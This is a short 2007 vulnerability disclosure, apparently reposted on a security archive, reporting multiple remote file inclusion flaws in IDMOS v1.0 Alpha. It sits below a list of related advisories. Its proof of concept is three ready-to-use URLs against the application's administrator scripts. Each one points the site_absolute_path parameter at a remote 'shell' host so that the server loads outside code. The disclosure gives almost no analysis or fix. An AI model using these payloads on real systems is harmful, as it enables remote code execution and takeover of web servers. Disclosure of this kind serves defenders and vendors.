Related information

Daily web applications security vulnerabilities summary (PHP, ASP, JSP, CGI, Perl)

[CVE-2007-5741] Plone: statusmessages and linkintegrity unsafe network data hotfix

MyWebFTP Password Disclosure

[Full-disclosure] SF-Shoutbox 1.2.1 <= 1.4 HTML/JS Injection Vulnerability

PhpNuke (add-on) MS TopSites Edit Exploit And Html Injection

From:	Guns_(at)_0x90.com.ar <Guns_(at)_0x90.com.ar>
Date:	07.11.2007
Subject:	IDMOS v1.0 Alpha Multiple RFI Vulnerability

#Author: 0x90
#HomePage: WwW.0x90.CoM.Ar
#Contact: Guns[at]0x90[dot]com[dot]ar
#Vendor: IDMOS v1.0 Alpha
#Download: http://ufpr.dl.sourceforge.net/sourceforge/idmos/idmos.zip
#PoC
http://[target]/administrator/admin.php?site_absolute_path=http://shell?
http://[target]/administrator/menu_add.php?site_absolute_path=http://shell?
http://[target]/administrator/menu_operation.php?site_absolute_path=http:
//shell?